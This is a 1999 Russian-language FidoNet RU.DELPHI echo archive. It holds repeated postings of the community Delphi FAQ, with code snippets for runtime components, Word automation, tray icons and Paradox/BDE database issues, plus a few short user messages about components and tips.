на [49]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [50]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [51]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [52]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [53]http://www.blinkinc.com, WWPack32 [54]http://kolos.uni.lodz.pl/warezak, NeoLite [55]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [56]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [57]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [58]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 272 of 341 - 263 + 277 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095608 6111 127.0.0.1 (12 Sep 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:08 GMT begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Авг 25 00:17:22 MSD 1999 Сгенерировано [59]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. ftp://195.161.18.8/RxLib/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#59_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#61_5 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#75_5 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#83_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#86_4 27. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#178_4 28. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#296_4 29. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#362_4 30. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#546_4 31. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#672_4 32. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#718_4 33. http://members.xoom.com/PolarisSoft/ 34. http://www.sawatzki.de/ 35. http://www.itecuk.com/delmag/thunk95.htm 36. http://delphi.da.ru/ 37. http://www.imagelib.com/ 38. http://einstein.ae.eng.ua.edu/nishita/index.htm 39. http://www.exceedsoft.com/ 40. http://www.geocities.com/SiliconValley/1142/ 41. http://www.signsoft.com/opengl 42. http://www.opengl.org/ 43. http://reality.sgi.com/mjk 44. http://www.scitechsoft.com/ 45. http://www.chami.com/tips/delphi/103096D.html 46. http://www.pbear.com/ 47. http://www.tsinet.ru/~vg 48. http://www.cyclic.com/ 49. http://alexm.here.ru/ 50. http://www.dic.ru/users/rusov/ 51. http://www.numega.com/ 52. http://www.listsoft.ru/programs/pr1520.htm 53. http://www.blinkinc.com/ 54. http://kolos.uni.lodz.pl/warezak 55. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 56. http://www.icl.ndirect.co.uk/petite/ 57. http://www.iconbazaar.com/ 58. http://www.rtfm.be/fpiette 59. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 273 of 341 From : Anton V. Dyachenko 2:5017/3.2 15 Sep 99 00:52:00 To : Roman Vasin Subj : Серийный номер BIUS`a, версия и многое другое... ──────────────────────────────────────────────────────────────────────────────── Bonjour! 01 Сен 99 09:33, Roman Vasin -> All: >> E>> Hеподскажет ли ALL как узнать сабж?? >> IV>> BIOS:=String(PCHar(Ptr($FEC71))); У меня на страничке лежат интересные, на мой взгляд, компоненты. Hачиная от помещения иконки в трей и заканчивая модулем для определения запущенного SoftIce'a!!! Объемные статьи о Corba и Midas с рисунками -)))) Есть компонент, который определяет и номер и версию BIOS, и еще много чего.... Работает, по-моему, только под 95/98. Адрес страницы: www.pool-7.ru/~anton смотреть раздел Delphi √ И если цель одна и в радости, и в горе, То тот, кто не струсил и весел не бросил, тот землю свою найдет. --- Все MUST DIE!!! * Origin: Опытный хирург поможет плохому танцору! (2:5017/3.2) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 274 of 341 From : Alex Bartels 2:5020/400 16 Sep 99 15:14:00 To : All Subj : ThoExcel (просто делаем Excel файл) ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: alex@msk-garant.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <937479595.825611@mao.cityline.ru> From: "Alex Bartels" Привет всем ! Обновил объект ThoExcel. Добавил FAQ. Пошли отзывы. Оччччень приятно ;-)) Всем спасибо БООльшое !! Внимание. Компонент достаточно сильно изменился, если сравнивать с первыми вариантами. Сейчас там выложен по сути рабочий проект (Есть функции, которые не работают. Hо это указано в тексте компонента). http://www.user.cityline.ru/~pppolis/bartels/hoexcel/hoexcel.htm Жду комментариев. alex@msk-garant.ru --- ifmail v.2.14dev3 * Origin: Cityline news server (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 275 of 341 From : Serge E.GIMBURG 2:452/26.22 02 Oct 99 10:42:00 To : Roman Anokhov Subj : Всем компонентам одно свойство ... ──────────────────────────────────────────────────────────────────────────────── // Hello Roman Anokhov! ■ Friday October 01 1999, 16:31 ■ Roman Anokhov wrote to All: RA> Есть легкий вопрос ;) RA> Как можно установить всем компонентам одинаковое свойство. RA> Hапример есть такой код: RA> Button1.visible := true; RA> Button2.visible := true; RA> ... RA> Button20.visible := true; RA> Как все это сделать компактным? Что-то типа (Все Button).visible := RA> true; Попробуй так: procedure TForm1.btStartClick(Sender: TObject); var i: Integer; begin for i := 1 to 20 do (FindComponent('Button' + IntToStr(i)) as TButton).Visible := True; end; // SY, Serge E.GIMBURG // Belarus, Gomel gimburg@mail.ru // Tekmetrics ID: 24750 --- OK...........................................................GoldED 2.5 * Origin: We are not write programs, we are create it! (Fido: 2:452/26.22) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 276 of 341 - 271 + 292 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910008 20221 127.0.0.1 (3 Oct 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:08 GMT Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [48]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [49]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [50]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [51]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [52]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [53]http://www.blinkinc.com, WWPack32 [54]http://kolos.uni.lodz.pl/warezak, NeoLite [55]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [56]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [57]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [58]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 277 of 341 - 272 + 293 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910009 20224 127.0.0.1 (3 Oct 1999 00:20:09 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:09 GMT procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Суб Сен 25 12:47:57 MSD 1999 Сгенерировано [59]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://www2.crosswinds.net/~rxlib/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#59_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#61_5 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#75_5 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#83_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#86_4 27. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#178_4 28. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#296_4 29. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#362_4 30. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#553_4 31. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#679_4 32. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#725_4 33. http://members.xoom.com/PolarisSoft/ 34. http://www.sawatzki.de/ 35. http://www.itecuk.com/delmag/thunk95.htm 36. http://delphi.da.ru/ 37. http://www.imagelib.com/ 38. http://einstein.ae.eng.ua.edu/nishita/index.htm 39. http://www.exceedsoft.com/ 40. http://www.geocities.com/SiliconValley/1142/ 41. http://www.signsoft.com/opengl 42. http://www.opengl.org/ 43. http://reality.sgi.com/mjk 44. http://www.scitechsoft.com/ 45. http://www.chami.com/tips/delphi/103096D.html 46. http://www.pbear.com/ 47. http://www.tsinet.ru/~vg 48. http://www.cyclic.com/ 49. http://alexm.here.ru/ 50. http://www.dic.ru/users/rusov/ 51. http://www.numega.com/ 52. http://www.listsoft.ru/programs/pr1520.htm 53. http://www.blinkinc.com/ 54. http://kolos.uni.lodz.pl/warezak 55. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 56. http://www.icl.ndirect.co.uk/petite/ 57. http://www.iconbazaar.com/ 58. http://www.rtfm.be/fpiette 59. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 278 of 341 - 267 + 294 From : Alexey_Mahotkin 2:5020/433 03 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 938910004 20209 127.0.0.1 (3 Oct 1999 00:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Oct 1999 00:20:04 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.18 1999/09/25 08:43:23 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и 